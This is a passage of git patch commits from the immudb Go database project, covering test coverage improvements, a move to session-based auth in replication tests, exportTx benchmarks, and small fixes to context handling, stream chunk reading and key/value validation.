started - time.Sleep(5 * time.Second) - -} - -// getLocalIP returns the non loopback local IP of the host -func getLocalIP() string { - addrs, err := net.InterfaceAddrs() - if err != nil { - return "" - } - for _, address := range addrs { - // check the address type and if it is not a loopback the display it - if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { - if ipnet.IP.To4() != nil { - return ipnet.IP.String() - } - } - } - return "" -} +// import ( +// "fmt" +// "math/rand" +// "net" +// "os" +// "strconv" +// "testing" +// "time" + +// "github.com/ory/dockertest/v3" +// "github.com/ory/dockertest/v3/docker" +// "github.com/rs/xid" +// "github.com/stretchr/testify/require" +// ) + +// func init() { +// rand.Seed(time.Now().UnixNano()) +// } + +// // dockerTestServerProvider creates docker test servers +// type dockerTestServerProvider struct { +// } + +// func (p *dockerTestServerProvider) AddServer(t *testing.T) TestServer { +// pool, err := dockertest.NewPool("") +// require.NoError(t, err) + +// ret := &dockerTestServer{ +// pool: pool, +// dir: t.TempDir(), +// } + +// ret.Start(t) +// return ret +// } + +// // dockerTestServer represents an immudb docker test server +// type dockerTestServer struct { +// pool *dockertest.Pool +// srv *dockertest.Resource +// port int +// dir string +// } + +// func (s *dockerTestServer) Address(t *testing.T) (string, int) { +// return getLocalIP(), s.port +// } + +// func (s *dockerTestServer) UUID(t *testing.T) xid.ID { +// panic("UUID unsupported in dockerTestServer") +// } + +// func (s *dockerTestServer) Shutdown(t *testing.T) { +// require.NotNil(t, s.srv) +// require.NoError(t, s.pool.Purge(s.srv)) + +// // Wait for docker container to shutdown +// time.Sleep(2 * time.Second) +// s.srv = nil +// } + +// // startContainer will run a container with the given options. +// func (s *dockerTestServer) startContainer(t *testing.T, runOptions *dockertest.RunOptions) *dockertest.Resource { +// // Make sure that there are no containers running from previous execution first +// // This is to ensure there is no conflict in the container name. +// // FIX: containers fail to purge successfully when created without a name +// require.NoError(t, s.pool.RemoveContainerByName(runOptions.Name)) + +// image := fmt.Sprintf("%s:%s", runOptions.Repository, runOptions.Tag) + +// if runOptions.Tag == "latest" { +// _, err := s.pool.Client.InspectImage(image) +// require.NoError(t, err, "Could not find %s", image) +// } + +// resource, err := s.pool.RunWithOptions(runOptions, func(config *docker.HostConfig) { +// config.Mounts = []docker.HostMount{ +// { +// Source: "/tmp", +// Target: os.Getenv("TMPDIR"), +// Type: "bind", +// }, +// } +// }) +// require.NoError(t, err) +// return resource +// } + +// func (s *dockerTestServer) Start(t *testing.T) { +// require.Nil(t, s.srv) + +// var ( +// name = fmt.Sprintf("immudb-%d", rand.Intn(50)) +// repo = "immudb/e2e" +// tag = "latest" +// dirFlag = fmt.Sprintf("--dir=%s", s.dir) +// hostPort = "" +// ) + +// if s.port > 0 { +// hostPort = strconv.Itoa(s.port) +// } + +// container := s.startContainer(t, &dockertest.RunOptions{ +// Name: name, +// Repository: repo, +// Tag: tag, +// Cmd: []string{ +// dirFlag, +// "--pgsql-server=false", +// "--metrics-server=false", +// }, +// ExposedPorts: []string{"3322"}, +// PortBindings: map[docker.Port][]docker.PortBinding{"3322/tcp": {{HostPort: hostPort}}}, +// }) + +// port, err := strconv.Atoi(container.GetPort("3322/tcp")) +// require.NoError(t, err) + +// s.srv = container +// s.port = port + +// // Wait for the server to initialize +// // TODO: Active notification that the server has started +// time.Sleep(5 * time.Second) + +// } + +// // getLocalIP returns the non loopback local IP of the host +// func getLocalIP() string { +// addrs, err := net.InterfaceAddrs() +// if err != nil { +// return "" +// } +// for _, address := range addrs { +// // check the address type and if it is not a loopback the display it +// if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { +// if ipnet.IP.To4() != nil { +// return ipnet.IP.String() +// } +// } +// } +// return "" +// } From 1dcc776e42e6155962e55042e571596c3fd3bceb Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 1 Feb 2023 12:47:26 +0530 Subject: [PATCH 0185/1062] chore(pkg/client/cache): improve test coverage --- pkg/client/cache/history_file_cache_test.go | 6 ++++++ pkg/client/cache/inmemory_cache.go | 3 ++- pkg/client/cache/inmemory_cache_test.go | 8 ++++++++ webconsole/webconsole_default_test.go | 10 ++++++---- 4 files changed, 22 insertions(+), 5 deletions(-) diff --git a/pkg/client/cache/history_file_cache_test.go b/pkg/client/cache/history_file_cache_test.go index 3a5b61f442..8249dc37d7 100644 --- a/pkg/client/cache/history_file_cache_test.go +++ b/pkg/client/cache/history_file_cache_test.go @@ -34,6 +34,12 @@ func TestNewHistoryFileCache(t *testing.T) { fc := NewHistoryFileCache(dir) require.IsType(t, &historyFileCache{}, fc) + + require.Error(t, fc.Lock("foo")) + require.Error(t, fc.Unlock()) + + err := fc.ServerIdentityCheck("identity1", "uuid2") + require.NoError(t, err) } func TestNewHistoryFileCacheSet(t *testing.T) { diff --git a/pkg/client/cache/inmemory_cache.go b/pkg/client/cache/inmemory_cache.go index a81308aee6..21cb261d02 100644 --- a/pkg/client/cache/inmemory_cache.go +++ b/pkg/client/cache/inmemory_cache.go @@ -33,7 +33,8 @@ type inMemoryCache struct { // NewInMemoryCache returns a new in-memory cache func NewInMemoryCache() Cache { return &inMemoryCache{ - states: map[string]map[string]*schema.ImmutableState{}, + states: map[string]map[string]*schema.ImmutableState{}, + identities: map[string]string{}, } } diff --git a/pkg/client/cache/inmemory_cache_test.go b/pkg/client/cache/inmemory_cache_test.go index 39a6b6612b..6926abdc38 100644 --- a/pkg/client/cache/inmemory_cache_test.go +++ b/pkg/client/cache/inmemory_cache_test.go @@ -60,4 +60,12 @@ func TestInMemoryCache(t *testing.T) { err = imc.Unlock() require.Error(t, err) + err = imc.ServerIdentityCheck("server1", "identity1") + require.NoError(t, err) + + err = imc.ServerIdentityCheck("server1", "identity2") + require.ErrorIs(t, err, ErrServerIdentityValidationFailed) + + err = imc.ServerIdentityCheck("server1", "identity1") + require.NoError(t, err) } diff --git a/webconsole/webconsole_default_test.go b/webconsole/webconsole_default_test.go index 57052107ab..5b72972de0 100644 --- a/webconsole/webconsole_default_test.go +++ b/webconsole/webconsole_default_test.go @@ -1,16 +1,18 @@ +//go:build !webconsole // +build !webconsole package webconsole import ( - "github.com/codenotary/immudb/pkg/logger" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" "io/ioutil" "net/http" "net/http/httptest" "os" "testing" + + "github.com/codenotary/immudb/pkg/logger" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" ) func TestSetupWebconsoleDefault(t *testing.T) { @@ -19,7 +21,7 @@ func TestSetupWebconsoleDefault(t *testing.T) { require.NoError(t, err) handler := http.NewServeMux() - SetupWebconsole(handler, logger.NewSimpleLogger("webconsole", os.Stderr), "localhost:8080") + err = SetupWebconsole(handler, logger.NewSimpleLogger("webconsole", os.Stderr), "localhost:8080") require.NoError(t, err) rr := httptest.NewRecorder() From 5e729ecb540702314eb5243b39367ccc86eb1c64 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 1 Feb 2023 13:02:56 +0530 Subject: [PATCH 0186/1062] chore(embedded/store): add test for TxOptions --- .github/workflows/pull.yml | 4 ++-- embedded/store/ongoing_tx_test.go | 12 ++++++++++++ 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index e79ef76ebd..b46a0bab61 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -144,8 +144,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./scripts/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools --tags minio || true - cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" > coverage.out + ./scripts/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole --tags minio || true + cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./scripts/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio diff --git a/embedded/store/ongoing_tx_test.go b/embedded/store/ongoing_tx_test.go index 0c3e697163..be22f47822 100644 --- a/embedded/store/ongoing_tx_test.go +++ b/embedded/store/ongoing_tx_test.go @@ -18,6 +18,7 @@ package store import ( "testing" + "time" "github.com/stretchr/testify/require" ) @@ -79,3 +80,14 @@ func TestOngoingTxCheckPreconditionsCornerCases(t *testing.T) { err = otx.checkPreconditions(st) require.ErrorIs(t, err, ErrAlreadyClosed) } + +func TestOngoingTxOptions(t *testing.T) { + var opts *TxOptions + require.Error(t, opts.Validate()) + + opts = &TxOptions{} + require.Equal(t, TxMode(4), opts.WithMode(4).Mode) + require.Error(t, opts.Validate()) + + require.Equal(t, 1*time.Hour, opts.WithSnapshotRenewalPeriod(1*time.Hour).SnapshotRenewalPeriod) +} From cb52ddfbfff6e5017e22ba60f1cd8cd7ca9b6349 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Jan 2023 17:03:10 -0300 Subject: [PATCH 0187/1062] test(pkg/integration): use session-based auth Signed-off-by: Jeronimo Irazabal --- pkg/integration/follower_replication_test.go | 94 ++++++++++++-------- 1 file changed, 55 insertions(+), 39 deletions(-) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 1199e6b94a..be8074793b 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -27,7 +27,6 @@ import ( ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/stretchr/testify/require" - "google.golang.org/grpc/metadata" ) func TestReplication(t *testing.T) { @@ -81,18 +80,19 @@ func TestReplication(t *testing.T) { // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port - primaryClient, err := ic.NewImmuClient(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(primaryPort)) - require.NoError(t, err) - require.NotNil(t, primaryClient) - mlr, err := primaryClient.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) + primaryOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(primaryPort) + + primaryClient := ic.NewClient().WithOptions(primaryOpts) require.NoError(t, err) - mmd := metadata.Pairs("authorization", mlr.Token) - pctx := metadata.NewOutgoingContext(context.Background(), mmd) + err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) // create database as primarydb in primary server - _, err = primaryClient.CreateDatabaseV2(pctx, "primarydb", &schema.DatabaseNullableSettings{ + _, err = primaryClient.CreateDatabaseV2(context.Background(), "primarydb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ SyncReplication: &schema.NullableBool{Value: true}, SyncAcks: &schema.NullableUint32{Value: 1}, @@ -100,33 +100,35 @@ func TestReplication(t *testing.T) { }) require.NoError(t, err) - mdb, err := primaryClient.UseDatabase(pctx, &schema.Database{DatabaseName: "primarydb"}) + err = primaryClient.CloseSession(context.Background()) require.NoError(t, err) - require.NotNil(t, mdb) - mmd = metadata.Pairs("authorization", mdb.Token) - pctx = metadata.NewOutgoingContext(context.Background(), mmd) + err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "primarydb") + require.NoError(t, err) + + defer primaryClient.CloseSession(context.Background()) - err = primaryClient.CreateUser(pctx, []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") + err = primaryClient.CreateUser(context.Background(), []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") require.NoError(t, err) - err = primaryClient.SetActiveUser(pctx, &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) + err = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) require.NoError(t, err) // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port - replicaClient, err := ic.NewImmuClient(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(replicaPort)) - require.NoError(t, err) - require.NotNil(t, replicaClient) - flr, err := replicaClient.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) + replicaOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(replicaPort) + + replicaClient := ic.NewClient().WithOptions(replicaOpts) require.NoError(t, err) - fmd := metadata.Pairs("authorization", flr.Token) - rctx := metadata.NewOutgoingContext(context.Background(), fmd) + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) // create database as replica in replica server - _, err = replicaClient.CreateDatabaseV2(rctx, "replicadb", &schema.DatabaseNullableSettings{ + _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: true}, @@ -141,50 +143,51 @@ func TestReplication(t *testing.T) { time.Sleep(1 * time.Second) - _, err = replicaClient.UpdateDatabaseV2(rctx, "replicadb", &schema.DatabaseNullableSettings{ + _, err = replicaClient.UpdateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, }, }) require.NoError(t, err) - fdb, err := replicaClient.UseDatabase(rctx, &schema.Database{DatabaseName: "replicadb"}) + err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) - require.NotNil(t, fdb) - fmd = metadata.Pairs("authorization", fdb.Token) - rctx = metadata.NewOutgoingContext(context.Background(), fmd) + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "replicadb") + require.NoError(t, err) t.Run("key1 should not exist", func(t *testing.T) { - _, err = replicaClient.Get(rctx, []byte("key1")) + _, err = replicaClient.Get(context.Background(), []byte("key1")) require.Error(t, err) require.Contains(t, err.Error(), "key not found") }) - _, err = primaryClient.Set(pctx, []byte("key1"), []byte("value1")) + _, err = primaryClient.Set(context.Background(), []byte("key1"), []byte("value1")) require.NoError(t, err) - _, err = primaryClient.Set(pctx, []byte("key2"), []byte("value2")) + _, err = primaryClient.Set(context.Background(), []byte("key2"), []byte("value2")) require.NoError(t, err) time.Sleep(1 * time.Second) t.Run("key1 should exist in replicadb@replica", func(t *testing.T) { - _, err = replicaClient.Get(rctx, []byte("key1")) + _, err = replicaClient.Get(context.Background(), []byte("key1")) require.NoError(t, err) }) - fdb, err = replicaClient.UseDatabase(rctx, &schema.Database{DatabaseName: "defaultdb"}) + err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) - require.NotNil(t, fdb) - fmd = metadata.Pairs("authorization", fdb.Token) - rctx = metadata.NewOutgoingContext(context.Background(), fmd) + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) t.Run("key1 should not exist in defaultdb@replica", func(t *testing.T) { - _, err = replicaClient.Get(rctx, []byte("key1")) + _, err = replicaClient.Get(context.Background(), []byte("key1")) require.Contains(t, err.Error(), "key not found") }) + + err = replicaClient.CloseSession(context.Background()) + require.NoError(t, err) } func TestSystemDBAndDefaultDBReplication(t *testing.T) { @@ -213,11 +216,17 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port - primaryClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(primaryPort)) - require.NotNil(t, primaryClient) + + primaryOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(primaryPort) + + primaryClient := ic.NewClient().WithOptions(primaryOpts) + require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) + defer primaryClient.CloseSession(context.Background()) // init replica server @@ -232,6 +241,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { PrefetchTxBufferSize: 100, ReplicationCommitConcurrency: 1, } + replicaServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). @@ -255,11 +265,17 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port - replicaClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(replicaPort)) - require.NotNil(t, replicaClient) + + replicaOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(replicaPort) + + replicaClient := ic.NewClient().WithOptions(replicaOpts) + require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) + defer replicaClient.CloseSession(context.Background()) t.Run("key1 should not exist", func(t *testing.T) { From fe9fe9517231e1b2b691d0af9966d347211406e4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 20 Jan 2023 16:03:16 -0300 Subject: [PATCH 0188/1062] chore(pkg/integration): exportTx benchmarking Signed-off-by: Jeronimo Irazabal --- pkg/integration/follower_replication_test.go | 126 +++++++++++++++++++ 1 file changed, 126 insertions(+) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index be8074793b..890cb6b9af 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -18,14 +18,18 @@ package integration import ( "context" + "encoding/binary" "net" + "sync" "testing" "time" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" ic "github.com/codenotary/immudb/pkg/client" + "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server" + "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) @@ -297,3 +301,125 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { _, err = replicaClient.Set(context.Background(), []byte("key2"), []byte("value2")) require.Contains(t, err.Error(), "database is read-only because it's a replica") } + +func BenchmarkExportTx(b *testing.B) { + //init server + serverOpts := server.DefaultOptions(). + WithMetricsServer(false). + WithWebServer(false). + WithPgsqlServer(false). + WithPort(0). + WithDir(b.TempDir()) + + srv := server.DefaultServer().WithOptions(serverOpts).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + b.FailNow() + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + time.Sleep(1 * time.Second) + + // init primary client + port := srv.Listener.Addr().(*net.TCPAddr).Port + + opts := ic.DefaultOptions(). + WithDir(b.TempDir()). + WithPort(port) + + client := ic.NewClient().WithOptions(opts) + + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + if err != nil { + b.FailNow() + } + + // create database as primarydb in primary server + _, err = client.CreateDatabaseV2(context.Background(), "db1", &schema.DatabaseNullableSettings{ + MaxConcurrency: &schema.NullableUint32{Value: 200}, + //VLogCacheSize: &schema.NullableUint32{Value: 0}, // disable vLogCache + }) + if err != nil { + b.FailNow() + } + + err = client.CloseSession(context.Background()) + if err != nil { + b.FailNow() + } + + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") + if err != nil { + b.FailNow() + } + defer client.CloseSession(context.Background()) + + // commit some transactions + workers := 100 + txsPerWorker := 10 + entriesPerTx := 10 + keyLen := 128 + valLen := 1024 * 200 + + kvs := make([]*schema.KeyValue, entriesPerTx) + + for i := 0; i < entriesPerTx; i++ { + kvs[i] = &schema.KeyValue{ + Key: make([]byte, keyLen), + Value: make([]byte, valLen), + } + + binary.BigEndian.PutUint64(kvs[i].Key, uint64(i)) + } + + var wg sync.WaitGroup + wg.Add(workers) + + for i := 0; i < workers; i++ { + go func() { + for j := 0; j < txsPerWorker; j++ { + _, err := client.SetAll(context.Background(), &schema.SetRequest{ + KVs: kvs, + }) + if err != nil { + panic(err) + } + } + + wg.Done() + }() + } + + wg.Wait() + + streamSrvFactory := stream.NewStreamServiceFactory(replication.DefaultChunkSize) + + b.ResetTimer() + + // measure exportTx performance + for i := 0; i < b.N; i++ { + for tx := 1; tx <= workers*txsPerWorker; tx++ { + exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ + Tx: uint64(tx), + AllowPreCommitted: false, + }) + if err != nil { + b.FailNow() + } + + receiver := streamSrvFactory.NewMsgReceiver(exportTxStream) + _, err = receiver.ReadFully() + if err != nil { + b.FailNow() + } + } + } +} From 88685e6dbcefa7ceefbc9e936dcbd8f6f49b17d9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 20 Jan 2023 16:43:13 -0300 Subject: [PATCH 0189/1062] fix(pkg/database): wrap propagated context Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index 818e3d7a8c..aa9ce22d80 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1206,7 +1206,6 @@ func (d *db) mayUpdateReplicaState(committedTxID uint64, newReplicaState *schema } func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { - if req == nil { return nil, 0, mayCommitUpToAlh, ErrIllegalArguments } @@ -1289,7 +1288,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb // TODO: under some circumstances, replica might not be able to do further progress until primary // has made changes, such wait doesn't need to have a timeout, reducing networking and CPU utilization - ctx, cancel := context.WithTimeout(context.Background(), d.options.storeOpts.SyncFrequency*4) + ctx, cancel := context.WithTimeout(ctx, d.options.storeOpts.SyncFrequency*4) defer cancel() err = d.WaitForTx(ctx, req.Tx, req.AllowPreCommitted) From 91536ce5e8126d1f405d065bbed46e4fa6f8c729 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 23 Jan 2023 11:52:11 -0300 Subject: [PATCH 0190/1062] test(pkg/integration): multi-client exportTx benchmark Signed-off-by: Jeronimo Irazabal --- pkg/integration/follower_replication_test.go | 79 ++++++++++++++------ 1 file changed, 58 insertions(+), 21 deletions(-) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 890cb6b9af..559d9f1446 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -309,13 +309,16 @@ func BenchmarkExportTx(b *testing.B) { WithWebServer(false). WithPgsqlServer(false). WithPort(0). + WithMaxRecvMsgSize(204939000). WithDir(b.TempDir()) + serverOpts.SessionsOptions.WithMaxSessions(200) + srv := server.DefaultServer().WithOptions(serverOpts).(*server.ImmuServer) err := srv.Initialize() if err != nil { - b.FailNow() + panic(err) } go func() { @@ -339,7 +342,7 @@ func BenchmarkExportTx(b *testing.B) { err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") if err != nil { - b.FailNow() + panic(err) } // create database as primarydb in primary server @@ -348,22 +351,22 @@ func BenchmarkExportTx(b *testing.B) { //VLogCacheSize: &schema.NullableUint32{Value: 0}, // disable vLogCache }) if err != nil { - b.FailNow() + panic(err) } err = client.CloseSession(context.Background()) if err != nil { - b.FailNow() + panic(err) } err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") if err != nil { - b.FailNow() + panic(err) } defer client.CloseSession(context.Background()) // commit some transactions - workers := 100 + workers := 10 txsPerWorker := 10 entriesPerTx := 10 keyLen := 128 @@ -400,26 +403,60 @@ func BenchmarkExportTx(b *testing.B) { wg.Wait() - streamSrvFactory := stream.NewStreamServiceFactory(replication.DefaultChunkSize) + replicators := 1 + txsPerReplicator := workers * txsPerWorker / replicators + + clientReplicators := make([]ic.ImmuClient, replicators) + + for r := 0; r < replicators; r++ { + opts := ic.DefaultOptions(). + WithDir(b.TempDir()). + WithPort(port) + + client := ic.NewClient().WithOptions(opts) + + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") + if err != nil { + panic(err) + } + defer client.CloseSession(context.Background()) + + clientReplicators[r] = client + } + + streamServiceFactory := stream.NewStreamServiceFactory(replication.DefaultChunkSize) b.ResetTimer() // measure exportTx performance for i := 0; i < b.N; i++ { - for tx := 1; tx <= workers*txsPerWorker; tx++ { - exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ - Tx: uint64(tx), - AllowPreCommitted: false, - }) - if err != nil { - b.FailNow() - } - - receiver := streamSrvFactory.NewMsgReceiver(exportTxStream) - _, err = receiver.ReadFully() - if err != nil { - b.FailNow() - } + var wg sync.WaitGroup + wg.Add(replicators) + + for r := 0; r < replicators; r++ { + go func(r int) { + defer wg.Done() + + client := clientReplicators[r] + + for tx := 1; tx <= txsPerReplicator; tx++ { + exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ + Tx: uint64(r*txsPerReplicator + tx), + AllowPreCommitted: false, + }) + if err != nil { + panic(err) + } + + receiver := streamServiceFactory.NewMsgReceiver(exportTxStream) + _, err = receiver.ReadFully() + if err != nil { + panic(err) + } + } + }(r) } + + wg.Wait() } } From 98859035a14d321cf64fdb385f4ff090653a44c0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 25 Jan 2023 09:53:00 -0300 Subject: [PATCH 0191/1062] fix(pkg/stream): handle the case when message fits in a single chunk Signed-off-by: Jeronimo Irazabal --- pkg/stream/receiver.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/stream/receiver.go b/pkg/stream/receiver.go index fb799bfc17..77a22efa55 100644 --- a/pkg/stream/receiver.go +++ b/pkg/stream/receiver.go @@ -63,7 +63,7 @@ func (r *msgReceiver) ReadFully() ([]byte, error) { copy(b, firstChunk.Content[8:]) i += len(firstChunk.Content) - 8 - for { + for i < messageLen { chunk, err := r.stream.Recv() if err == io.EOF { break From b477e73a15f45f3b2f190c41b5369e7df491bf2f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Jan 2023 12:10:47 -0300 Subject: [PATCH 0192/1062] fix(embedded/tbtree): proper kv validation Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 1eeba6884d..506f103a9b 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1610,7 +1610,7 @@ func (t *TBtree) bulkInsert(kvts []*KVT) error { immutableKVTs := make([]*KVT, len(kvts)) for i, kvt := range kvts { - if kvt == nil || kvt.K == nil || kvt.V == nil { + if kvt == nil || len(kvt.K) == 0 || len(kvt.V) == 0 { return ErrIllegalArguments } From dc32509651dcb5b4d779baacdf7ccd005c6ea39e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Jan 2023 15:01:36 -0300 Subject: [PATCH 0193/1062] test(embedded/store): exportTx benchmark Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 43 ++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 2186930d51..f1d8379dd4 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -2965,6 +2965,49 @@ func BenchmarkAsyncAppendWithExtCommitAllowance(b *testing.B) { } } +func BenchmarkExportTx(b *testing.B) { + opts := DefaultOptions().WithSynced(false) + + immuStore, _ := Open(b.TempDir(), opts) + + txCount := 1_000 + eCount := 1_000 + keyLen := 40 + valLen := 256 + + for i := 0; i < txCount; i++ { + tx, err := immuStore.NewWriteOnlyTx(context.Background()) + require.NoError(b, err) + + for j := 0; j < eCount; j++ { + k := make([]byte, keyLen) + binary.BigEndian.PutUint64(k, uint64(i*eCount+j)) + + v := make([]byte, valLen) + binary.BigEndian.PutUint64(v, uint64(j)) + + err = tx.Set(k, nil, v) + require.NoError(b, err) + } + + _, err = tx.Commit(context.Background()) + require.NoError(b, err) + } + + tx, err := immuStore.fetchAllocTx() + require.NoError(b, err) + defer immuStore.releaseAllocTx(tx) + + b.ResetTimer() + + for i := 0; i < b.N; i++ { + for i := 0; i < txCount; i++ { + _, err := immuStore.ExportTx(uint64(i+1), false, tx) + require.NoError(b, err) + } + } +} + func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { dir := t.TempDir() From f4cd873396eee1f053ea9b66b94f57e61f73f01e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 27 Jan 2023 16:41:53 -0300 Subject: [PATCH 0194/1062] chore(embedded/store): optional integrity checking Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 36 ++++++++++---------- embedded/store/immustore_test.go | 40 +++++++++++----------- embedded/store/indexer.go | 2 +- embedded/store/key_reader.go | 2 +- embedded/store/tx.go | 41 ++++++++++++++--------- embedded/store/tx_reader.go | 8 +++-- embedded/store/tx_test.go | 12 +++---- embedded/store/verification_test.go | 14 ++++---- embedded/tools/stress_tool/stress_tool.go | 2 +- 9 files changed, 84 insertions(+), 73 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index d7acd90520..83c16a3c07 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -381,7 +381,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable tx, _ := txPool.Alloc() - err = tx.readFrom(txReader) + err = 